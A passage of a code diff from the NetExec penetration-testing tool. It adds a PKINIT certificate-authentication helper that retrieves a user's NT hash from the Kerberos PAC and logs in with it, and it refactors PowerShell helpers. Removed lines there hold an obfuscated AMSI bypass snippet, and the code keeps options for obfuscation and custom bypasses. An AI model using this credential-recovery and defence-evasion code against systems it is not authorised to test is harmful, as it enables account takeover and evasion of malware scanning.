+        ip_address(target)
+        return True
+    except Exception:
+        return False
+

nxc/helpers/msada_guids.py

@@ -12,7 +12,8 @@ Authors:
   Guillaume DAUMAS (@BlWasp_)
   Lucien DOUSTALY (@Wlayzz)
 
-References:
+References
+----------
   MS-ADA1, MS-ADA2, MS-ADA3 Active Directory Schema Attributes and their GUID:
   - [MS-ADA1] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada1/19528560-f41e-4623-a406-dabcfff0660f
   - [MS-ADA2] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-ada2/e20ebc4e-5285-40ba-b3bd-ffcb81c2783e
@@ -22,6 +23,7 @@ References:
 
 
 This library is, for the moment, not present in the Impacket version used by NetExec, so I add it manually in helpers.
+
 """
 
 SCHEMA_OBJECTS = {

nxc/helpers/ntlm_parser.py

@@ -0,0 +1,34 @@
+# Original from here: https://github.com/fortra/impacket/blob/master/examples/DumpNTLMInfo.py#L568
+
+import struct
+
+from impacket import ntlm
+from impacket.smb3 import WIN_VERSIONS
+import contextlib
+
+
+def parse_challenge(challange):
+    target_info = {
+        "hostname": None,
+        "domain": None,
+        "os_version": None
+    }
+    challange = ntlm.NTLMAuthChallenge(challange)
+    av_pairs = ntlm.AV_PAIRS(challange["TargetInfoFields"][:challange["TargetInfoFields_len"]])
+    if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["hostname"] = av_pairs[ntlm.NTLMSSP_AV_HOSTNAME][1].decode("utf-16le")
+    if av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME] is not None:
+        with contextlib.suppress(Exception):
+            target_info["domain"] = av_pairs[ntlm.NTLMSSP_AV_DNS_DOMAINNAME][1].decode("utf-16le")
+    if "Version" in challange.fields:
+        version = challange["Version"]
+        if len(version) >= 4:
+            major_version = version[0]
+            minor_version = version[1]
+            product_build = struct.unpack("<H", version[2:4])[0]
+            if product_build in WIN_VERSIONS:
+                target_info["os_version"] = f"{WIN_VERSIONS[product_build]} Build {product_build}"
+            else:
+                target_info["os_version"] = f"{major_version}.{minor_version} Build {product_build}"
+    return target_info

nxc/helpers/pfx.py

@@ -0,0 +1,524 @@
+# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Author:
+#  Alberto Solino (@agsolino)
+#  Dirk-jan Mollema (@_dirkjan)
+#
+# Description:
+#     This script will use an existing TGT to request a PAC for the current user using U2U.
+#     When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be
+#     used for silver tickets and for backwards compatibility with other tooling.
+#
+# References:
+#
+#     U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02
+#
+# Based on examples from minikerberos by skelsec
+# Parts of this code was inspired by the following project by @rubin_mor
+# https://github.com/morRubin/AzureADJoinedMachinePTC
+#
+# Author:
+#  Tamas Jos (@skelsec)
+#  Dirk-jan Mollema (@_dirkjan)
+#
+
+import os
+import secrets
+import hashlib
+import datetime
+import random
+import base64
+
+from binascii import unhexlify, hexlify
+
+from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
+from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
+
+from asn1crypto import cms
+from asn1crypto import algos
+from asn1crypto import core
+from asn1crypto import keys
+
+from minikerberos.pkinit import PKINIT, DirtyDH
+from minikerberos.protocol.constants import NAME_TYPE, PaDataType
+from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
+from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
+from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
+
+from pyasn1.codec.der import decoder, encoder
+from pyasn1.type.univ import noValue
+
+from impacket.dcerpc.v5.rpcrt import TypeSerialization1
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1
+from impacket.krb5.kerberosv5 import sendReceive
+from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \
+    PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL
+from impacket.krb5.types import Principal, KerberosTime, Ticket
+
+# Imports for pfx_auth
+from minikerberos.network.clientsocket import KerberosClientSocket
+from minikerberos.common.target import KerberosTarget
+from minikerberos.common.ccache import CCACHE
+
+from impacket.krb5.ccache import CCache as impacket_CCache
+
+from nxc.paths import NXC_PATH
+from nxc.logger import nxc_logger
+
+
+class myPKINIT(PKINIT):
+    """
+    Copy of minikerberos PKINIT
+    With some changes where it differs from PKINIT used in NegoEx
+    """
+
+    @staticmethod
+    def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
+        with open(pfxfile, "rb") as f:
+            pfxdata = f.read()
+
+        if b64:
+            pfxdata = base64.b64decode(pfxdata)
+
+        return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params)
+
+    @staticmethod
+    def from_pfx_data(pfxdata, pfxpass, dh_params=None):
+        pkinit = myPKINIT()
+        # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
+        if not pfxpass:
+            from cryptography.hazmat.primitives.serialization import pkcs12
+            from cryptography.hazmat.primitives import serialization
+            privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
+            pem_key = privkey.private_bytes(
+                encoding=serialization.Encoding.PEM,
+                format=serialization.PrivateFormat.TraditionalOpenSSL,
+                encryption_algorithm=serialization.NoEncryption(),
+            )
+            pkinit.privkey = load_private_key(parse_private(pem_key))
+            pem_cert = cert.public_bytes(
+                encoding=serialization.Encoding.PEM
+            )
+            pkinit.certificate = parse_certificate(pem_cert)
+        else:
+            if isinstance(pfxpass, str):
+                pfxpass = pfxpass.encode()
+            pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
+            pkinit.privkey = load_private_key(pkinit.privkeyinfo)
+        pkinit.setup(dh_params=dh_params)
+        return pkinit
+
+    @staticmethod
+    def from_pem(certfile, privkeyfile, dh_params=None):
+        pkinit = myPKINIT()
+        with open(certfile, "rb") as f:
+            pkinit.certificate = parse_certificate(f.read())
+        with open(privkeyfile, "rb") as f:
+            pkinit.privkey = load_private_key(parse_private(f.read()))
+        pkinit.setup(dh_params=dh_params)
+        return pkinit
+
+    def sign_authpack(self, data, wrap_signed=False):
+        return self.sign_authpack_native(data, wrap_signed)
+
+    def setup(self, dh_params=None):
+        self.issuer = self.certificate.issuer.native["common_name"]
+        if dh_params is None:
+            print("Generating DH params...")
+            print("DH params generated.")
+        else:
+            if isinstance(dh_params, dict):
+                self.diffie = DirtyDH.from_dict(dh_params)
+            elif isinstance(dh_params, bytes):
+                self.diffie = DirtyDH.from_asn1(dh_params)
+            elif isinstance(dh_params, DirtyDH):
+                self.diffie = dh_params
+            else:
+                raise Exception("DH params must be either a bytearray or a dict")
+
+    def build_asreq(self, domain=None, cname=None, kdcopts=None):
+        if kdcopts is None:
+            kdcopts = ["forwardable", "renewable", "renewable-ok"]
+        if isinstance(kdcopts, list):
+            kdcopts = set(kdcopts)
+        if cname is not None:
+            if isinstance(cname, str):
+                cname = [cname]
+        else:
+            cname = [self.cname]
+
+        now = datetime.datetime.now(datetime.timezone.utc)
+
+        kdc_req_body_data = {}
+        kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts)
+        kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname})
+        kdc_req_body_data["realm"] = domain.upper()
+        kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]})
+        kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+        kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0)
+        kdc_req_body_data["nonce"] = secrets.randbits(31)
+        kdc_req_body_data["etype"] = [18, 17]  # 23 breaks...
+        kdc_req_body = KDC_REQ_BODY(kdc_req_body_data)
+
+        checksum = hashlib.sha1(kdc_req_body.dump()).digest()
+
+        authenticator = {}
+        authenticator["cusec"] = now.microsecond
+        authenticator["ctime"] = now.replace(microsecond=0)
+        authenticator["nonce"] = secrets.randbits(31)
+        authenticator["paChecksum"] = checksum
+
+        dp = {}
+        dp["p"] = self.diffie.p
+        dp["g"] = self.diffie.g
+        dp["q"] = 0  # mandatory parameter, but it is not needed
+
+        pka = {}
+        pka["algorithm"] = "1.2.840.10046.2.1"
+        pka["parameters"] = keys.DomainParameters(dp)
+
+        spki = {}
+        spki["algorithm"] = keys.PublicKeyAlgorithm(pka)
+        spki["public_key"] = self.diffie.get_public_key()
+
+        authpack = {}
+        authpack["pkAuthenticator"] = PKAuthenticator(authenticator)
+        authpack["clientPublicValue"] = keys.PublicKeyInfo(spki)
+        authpack["clientDHNonce"] = self.diffie.dh_nonce
+
+        authpack = AuthPack(authpack)
+        signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True)
+
+        payload = PA_PK_AS_REQ()
+        payload["signedAuthPack"] = signed_authpack
+
+        pa_data_1 = {}
+        pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value
+        pa_data_1["padata-value"] = payload.dump()
+
+        pa_data_0 = {}
+        pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST"))
+        pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump()
+
+        asreq = {}
+        asreq["pvno"] = 5
+        asreq["msg-type"] = 10
+        asreq["padata"] = [pa_data_0, pa_data_1]
+        asreq["req-body"] = kdc_req_body
+
+        return AS_REQ(asreq).dump()
+
+    def sign_authpack_native(self, data, wrap_signed=False):
+        """
+        Creating PKCS7 blob which contains the following things:
+
+        1. 'data' blob which is an ASN1 encoded "AuthPack" structure
+        2. the certificate used to sign the data blob
+        3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1)
+        """
+        da = {}
+        da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26")  # for sha1
+
+        si = {}
+        si["version"] = "v1"
+        si["sid"] = cms.IssuerAndSerialNumber({
+            "issuer":  self.certificate.issuer,
+            "serial_number":  self.certificate.serial_number,
+        })
+
+        si["digest_algorithm"] = algos.DigestAlgorithm(da)
+        si["signed_attrs"] = [
+            cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}),  # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed )
+            cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}),  # hash of the data, the data itself will not be signed, but this block of data will be.
+        ]
+        si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
+        si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
+
+        ec = {}
+        ec["content_type"] = "1.3.6.1.5.2.3.1"
+        ec["content"] = data
+
+        sd = {}
+        sd["version"] = "v3"
+        sd["digest_algorithms"] = [algos.DigestAlgorithm(da)]  # must have only one
+        sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec)
+        sd["certificates"] = [self.certificate]
+        sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)])
+
+        if wrap_signed is True:
+            ci = {}
+            ci["content_type"] = "1.2.840.113549.1.7.2"  # signed data OID
+            ci["content"] = cms.SignedData(sd)
+            return cms.ContentInfo(ci).dump()
+
+        return cms.SignedData(sd).dump()
+
+    def decrypt_asrep(self, as_rep):
+        def truncate_key(value, keysize):
+            output = b""
+            currentNum = 0
+            while len(output) < keysize:
+                currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest()
+                if len(output) + len(currentDigest) > keysize:
+                    output += currentDigest[:keysize - len(output)]
+                    break
+                output += currentDigest
+                currentNum += 1
+
+            return output
+
+        for pa in as_rep["padata"]:
+            if pa["padata-type"] == 17:
+                pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native
+                break
+        else:
+            raise Exception("PA_PK_AS_REP not found!")
+        ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native
+        sd = ci["content"]
+        keyinfo = sd["encap_content_info"]
+        if keyinfo["content_type"] != "1.3.6.1.5.2.3.2":
+            raise Exception("Keyinfo content type unexpected value")
+        authdata = KDCDHKeyInfo.load(keyinfo["content"]).native
+        pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2)
+
+        pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False)
+        shared_key = self.diffie.exchange(pubkey)
+
+        server_nonce = pkasrep["serverDHNonce"]
+        fullKey = shared_key + self.diffie.dh_nonce + server_nonce
+
+        etype = as_rep["enc-part"]["etype"]
+        cipher = _enctype_table[etype]
+        if etype == Enctype.AES256:
+            t_key = truncate_key(fullKey, 32)
+        elif etype == Enctype.AES128:
+            t_key = truncate_key(fullKey, 16)
+        elif etype == Enctype.RC4:
+            raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES")
+
+        key = Key(cipher.enctype, t_key)
+        enc_data = as_rep["enc-part"]["cipher"]
+        nxc_logger.info("AS-REP encryption key (you might need this later):")
+        nxc_logger.info(hexlify(t_key).decode("utf-8"))
+        dec_data = cipher.decrypt(key, 3, enc_data)
+        encasrep = EncASRepPart.load(dec_data).native
+        cipher = _enctype_table[int(encasrep["key"]["keytype"])]
+        session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"])
+        return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8")
+
+
+class GETPAC:
+
+    def printPac(self, data, key=None):
+        nthash = None
+        encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0]
+        adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[
+            0]
+        # So here we have the PAC
+        pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets())
+        buff = pacType["Buffers"]
+        found = False
+        for _bufferN in range(pacType["cBuffers"]):
+            infoBuffer = PAC_INFO_BUFFER(buff)
+            data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
+            nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
+            if infoBuffer["ulType"] == 2:
+                found = True
+                credinfo = PAC_CREDENTIAL_INFO(data)
+                newCipher = _enctype_table[credinfo["EncryptionType"]]
+                out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
+                type1 = TypeSerialization1(out)
+                # I'm skipping here 4 bytes with its the ReferentID for the pointer
+                newdata = out[len(type1) + 4:]
+                pcc = PAC_CREDENTIAL_DATA(newdata)
+                for cred in pcc["Credentials"]:
+                    credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
+
+                    nxc_logger.info("Recovered NT Hash")
+                    nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
+                    nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
+
+            buff = buff[len(infoBuffer):]
+
+        if not found:
+            nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
+        return nthash
+
+    def __init__(self, username, domain, kdcHost, key, tgt):
+        self.__username = username
+        self.__domain = domain.upper()
+        self.__kdcHost = kdcHost
+        self.__asrep_key = key
+        self.__tgt = tgt["KDC_REP"]
+        self.__cipher = tgt["cipher"]
+        self.__sessionKey = tgt["sessionKey"]
+
+    def dump(self):
+        # Try all requested protocols until one works.
+        tgt = self.__tgt
+        cipher = self.__cipher
+        sessionKey = self.__sessionKey
+
+        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
+
+        # Extract the ticket from the TGT
+        ticket = Ticket()
+        ticket.from_asn1(decodedTGT["ticket"])
+
+        apReq = AP_REQ()
+        apReq["pvno"] = 5
+        apReq["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value)
+
+        opts = []
+        apReq["ap-options"] = constants.encodeFlags(opts)
+        seq_set(apReq, "ticket", ticket.to_asn1)
+
+        authenticator = Authenticator()
+        authenticator["authenticator-vno"] = 5
+        authenticator["crealm"] = str(decodedTGT["crealm"])
+
+        clientName = Principal()
+        clientName.from_asn1(decodedTGT, "crealm", "cname")
+
+        seq_set(authenticator, "cname", clientName.components_to_asn1)
+
+        now = datetime.datetime.utcnow()
+        authenticator["cusec"] = now.microsecond
+        authenticator["ctime"] = KerberosTime.to_asn1(now)
+
+        nxc_logger.debug("AUTHENTICATOR")
+        nxc_logger.debug(authenticator.prettyPrint() + "\n")
+
+        encodedAuthenticator = encoder.encode(authenticator)
+
+        # Key Usage 7
+        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
+        # TGS authenticator subkey), encrypted with the TGS session
+        # key (Section 5.5.1)
+        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
+
+        apReq["authenticator"] = noValue
+        apReq["authenticator"]["etype"] = cipher.enctype
+        apReq["authenticator"]["cipher"] = encryptedEncodedAuthenticator
+
+        encodedApReq = encoder.encode(apReq)
+
+        tgsReq = TGS_REQ()
+
+        tgsReq["pvno"] = 5
+        tgsReq["msg-type"] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
+
+        tgsReq["padata"] = noValue
+        tgsReq["padata"][0] = noValue
+        tgsReq["padata"][0]["padata-type"] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
+        tgsReq["padata"][0]["padata-value"] = encodedApReq
+
+        reqBody = seq_set(tgsReq, "req-body")
+
+        opts = []
+        opts.append(constants.KDCOptions.forwardable.value)
+        opts.append(constants.KDCOptions.renewable.value)
+        opts.append(constants.KDCOptions.canonicalize.value)
+        opts.append(constants.KDCOptions.enc_tkt_in_skey.value)
+
+        reqBody["kdc-options"] = constants.encodeFlags(opts)
+
+        serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value)
+
+        seq_set(reqBody, "sname", serverName.components_to_asn1)
+        reqBody["realm"] = str(decodedTGT["crealm"])
+
+        now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
+
+        reqBody["till"] = KerberosTime.to_asn1(now)
+        reqBody["nonce"] = random.getrandbits(31)
+        seq_set_iter(reqBody, "etype",
+                     (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
+
+        myTicket = ticket.to_asn1(TicketAsn1())
+        seq_set_iter(reqBody, "additional-tickets", (myTicket,))
+        nxc_logger.debug("Final TGS")
+        nxc_logger.debug(tgsReq.prettyPrint())
+
+        message = encoder.encode(tgsReq)
+        nxc_logger.info("Requesting ticket to self with PAC")
+
+        r = sendReceive(message, self.__domain, self.__kdcHost)
+
+        tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
+
+        nxc_logger.debug("TGS_REP")
+        nxc_logger.debug(tgs.prettyPrint())
+
+        cipherText = tgs["ticket"]["enc-part"]["cipher"]
+
+        # Key Usage 2
+        # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
+        #  application session key), encrypted with the service key
+        #  (section 5.4.2)
+
+        # S4USelf + U2U uses this other key
+        plainText = cipher.decrypt(sessionKey, 2, cipherText)
+        specialkey = Key(18, unhexlify(self.__asrep_key))
+        return self.printPac(plainText, specialkey)
+
+
+def pfx_auth(self):
+    """Handles the authentication using a PFX or PEM file"""
+    # Static DH params because the ones generated by cryptography are considered unsafe by AD for some weird reason
+    dhparams = {
+        "p": int("00ffffffffffffffffc90fdaa22168c234c4c6628b80dc1cd129024e088a67cc74020bbea63b139b22514a08798e3404ddef9519b3cd3a431b302b0a6df25f14374fe1356d6d51c245e485b576625e7ec6f44c42e9a637ed6b0bff5cb6f406b7edee386bfb5a899fa5ae9f24117c4b1fe649286651ece65381ffffffffffffffff", 16),
+        "g": 2
+    }
+    self.logger.info("Loading certificate and key from file")
+
+    # Load the certificate and key from file
+    if self.args.pfx_cert or self.args.pfx_base64:
+        pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
+        ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
+    elif self.args.pem_cert and self.args.pem_key:
+        ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
+    else:
+        self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
+        return None
+
+    username = self.args.username[0]
+    timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
+    log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
+
+    # Request a TGT with the cert data
+    req = ini.build_asreq(self.domain, username)
+    self.logger.info("Requesting TGT")
+
+    sock = KerberosClientSocket(KerberosTarget(self.kdcHost))
+    try:
+        res = sock.sendrecv(req)
+    except Exception as e:
+        self.logger.fail(str(e))
+        return False
+
+    encasrep, session_key, cipher, key = ini.decrypt_asrep(res.native)
+    ccache_minikerberos = CCACHE()
+    ccache_minikerberos.add_tgt(res.native, encasrep)
+    ccache_minikerberos.to_file(log_ccache)
+    self.logger.info(f"Saved TGT to file {log_ccache}")
+    self.logger.info(f"Using Kerberos Cache {log_ccache}")
+    ccache = impacket_CCache.loadFile(log_ccache)
+    principal = f"krbtgt/{self.domain.upper()}@{self.domain.upper()}"
+    creds = ccache.getCredential(principal)
+    if creds is not None:
+        tgt = creds.toTGT()
+        dumper = GETPAC(username, self.domain, self.kdcHost, key, tgt)
+        nthash = dumper.dump()
+        if not self.kerberos:
+            self.hash_login(self.domain, username, nthash)
+        else:
+            self.kerberos_login(self.domain, username, "", nthash, "", self.kdcHost, False)
+
+    self.logger.info("Successfully authenticated using Certificate")
+    return True

nxc/helpers/powershell.py

@@ -1,5 +1,3 @@
-#!/usr/bin/env python3
-# -*- coding: utf-8 -*-
 import os
 import re
 from sys import exit
@@ -8,35 +6,83 @@ from random import choice, sample
 from subprocess import call
 from nxc.helpers.misc import which
 from nxc.logger import nxc_logger
-from nxc.paths import nxc_PATH, DATA_PATH
+from nxc.paths import NXC_PATH, DATA_PATH
 from base64 import b64encode
+import random
 
 obfuscate_ps_scripts = False
 
 
+def replace_singles(s):
+    """Replaces single quotes with a double quote
+    We do this because quoting is very important in PowerShell, and we are doing multiple layers:
+    Python, MSSQL, and PowerShell. We want to make sure that the command is properly quoted at each layer.
+
+    Args:
+    ----
+        s (str): The string to replace single quotes in.
+
+    Returns:
+    -------
+        str: Original string with single quotes replaced with double.
+    """
+    return s.replace("'", r"\"")
+
+
 def get_ps_script(path):
+    """Generates a full path to a PowerShell script given a relative path.
+
+    Parameters
+    ----------
+        path (str): The relative path to the PowerShell script.
+
+    Returns
+    -------
+        str: The full path to the PowerShell script.
+    """
     return os.path.join(DATA_PATH, path)
 
 
 def encode_ps_command(command):
+    """
+    Encodes a PowerShell command into a base64-encoded string.
+
+    Args:
+    ----
+        command (str): The PowerShell command to encode.
+
+    Returns:
+    -------
+        str: The base64-encoded string representation of the encoded command.
+    """
     return b64encode(command.encode("UTF-16LE")).decode()
 
 
-def is_powershell_installed():
-    if which("powershell"):
-        return True
-    return False
-
-
 def obfs_ps_script(path_to_script):
+    """
+    Obfuscates a PowerShell script.
+
+    Args:
+    ----
+        path_to_script (str): The path to the PowerShell script.
+
+    Returns:
+    -------
+        str: The obfuscated PowerShell script.
+
+    Raises:
+    ------
+        FileNotFoundError: If the script file does not exist.
+        OSError: If there is an error during obfuscation.
+    """
     ps_script = path_to_script.split("/")[-1]
-    obfs_script_dir = os.path.join(nxc_PATH, "obfuscated_scripts")
+    obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
     obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
 
-    if is_powershell_installed() and obfuscate_ps_scripts:
+    if bool(which("powershell")) and obfuscate_ps_scripts:
         if os.path.exists(obfs_ps_script):
             nxc_logger.display("Using cached obfuscated Powershell script")
-            with open(obfs_ps_script, "r") as script:
+            with open(obfs_ps_script) as script:
                 return script.read()
 
         nxc_logger.display("Performing one-time script obfuscation, go look at some memes cause this can take a bit...")
@@ -45,127 +91,103 @@ def obfs_ps_script(path_to_script):
         nxc_logger.debug(invoke_obfs_command)
 
         with open(os.devnull, "w") as devnull:
-            return_code = call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
+            call(invoke_obfs_command, stdout=devnull, stderr=devnull, shell=True)
 
         nxc_logger.success("Script obfuscated successfully")
 
-        with open(obfs_ps_script, "r") as script:
+        with open(obfs_ps_script) as script:
             return script.read()
 
     else:
-        with open(get_ps_script(path_to_script), "r") as script:
+        with open(get_ps_script(path_to_script)) as script:
             """
             Strip block comments, line comments, empty lines, verbose statements,
             and debug statements from a PowerShell source file.
             """
             # strip block comments
-            stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
+            stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
             # strip blank lines, lines starting with #, and verbose/debug statements
-            stripped_code = "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
-
-            return stripped_code
+            return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
 
 
-def create_ps_command(ps_command, force_ps32=False, dont_obfs=False, custom_amsi=None):
+def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
+    """
+    Generates a PowerShell command based on the provided `ps_command` parameter.
+
+    Args:
+    ----
+        ps_command (str): The PowerShell command to be executed.
+        force_ps32 (bool, optional): Whether to force PowerShell to run in 32-bit mode. Defaults to False.
+        obfs (bool, optional): Whether to obfuscate the generated command. Defaults to False.
+        custom_amsi (str, optional): Path to a custom AMSI bypass script. Defaults to None.
+        encode (bool, optional): Whether to encode the generated command (executed via -enc in PS). Defaults to True.
+
+    Returns:
+    -------
+        str: The generated PowerShell command.
+    """
+    nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
+
     if custom_amsi:
+        nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
         with open(custom_amsi) as file_in:
-            lines = []
-            for line in file_in:
-                lines.append(line)
+            lines = list(file_in)
             amsi_bypass = "".join(lines)
     else:
-        amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
-try{
-[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
-}catch{}
-"""
-
-    if force_ps32:
-        command = (
-            amsi_bypass
-            + """
-$functions = {{
-    function Command-ToExecute
-    {{
-{command}
-    }}
-}}
-if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
-{{
-    $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
-    $job | Wait-Job
-}}
-else
-{{
-    IEX "$functions"
-    Command-ToExecute
-}}
-""".format(
-                command=amsi_bypass + ps_command
-            )
-        )
+        amsi_bypass = ""
 
+    # for readability purposes, we do not do a one-liner
+    if force_ps32:  # noqa: SIM108
+        # https://stackoverflow.com/a/60155248
+        command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
     else:
-        command = amsi_bypass + ps_command
+        command = f"{amsi_bypass} {ps_command}"
 
-    nxc_logger.debug("Generated PS command:\n {}\n".format(command))
+    nxc_logger.debug(f"Generated PS command:\n {command}\n")
 
-    # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed
-    # concurrently it would spawn a local powershell process per host which isn't ideal, until I figure out a good way
-    # of dealing with this  it will use the partial python implementation that I stole from GreatSCT
-    # (https://github.com/GreatSCT/GreatSCT) <3
-
-    """
-    if is_powershell_installed():
-
-        temp = tempfile.NamedTemporaryFile(prefix='nxc_',
-                                           suffix='.ps1',
-                                           dir='/tmp')
-        temp.write(command)
-        temp.read()
-
-        encoding_types = [1,2,3,4,5,6]
-        while True:
-            encoding = random.choice(encoding_types)
-            invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
-                                                                                                                                              temp.name,
-                                                                                                                                              encoding)
-            nxc_logger.debug(invoke_obfs_command)
-            out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
-
-            command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
-            nxc_logger.debug('Command length: {}'.format(len(command)))
-
-            if len(command) <= 8192:
-                temp.close()
-                break
-
-            encoding_types.remove(encoding)
-    
-    else:
-    """
-    if not dont_obfs:
+    if obfs:
+        nxc_logger.debug("Obfuscating PowerShell command")
         obfs_attempts = 0
         while True:
